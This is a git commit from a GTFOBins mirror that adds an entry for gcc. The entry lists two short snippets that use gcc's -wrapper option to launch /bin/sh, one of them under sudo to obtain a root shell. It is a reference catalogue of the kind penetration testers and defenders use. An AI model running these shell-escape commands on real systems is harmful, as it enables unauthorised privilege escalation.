1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-19 02:11:39 +02:00

Create gcc.md

This commit is contained in:
bcoles 2020-03-14 16:48:45 +11:00 committed by Andrea Cardaci
parent 0adf67ca2f
commit dec4a7f928

17
_gtfobins/gcc.md Normal file
View File

@ -0,0 +1,17 @@
---
functions:
shell:
- code: |
TF=$(mktemp -d)
echo '#!/bin/sh' > $TF/x
echo '/bin/sh' >> $TF/x
chmod +x $TF/x
gcc -wrapper $TF/x $TF/x
sudo:
- code: |
TF=$(mktemp -d)
echo '#!/bin/sh' > $TF/x
echo '/bin/sh' >> $TF/x
chmod +x $TF/x
sudo gcc -wrapper $TF/x $TF/x
---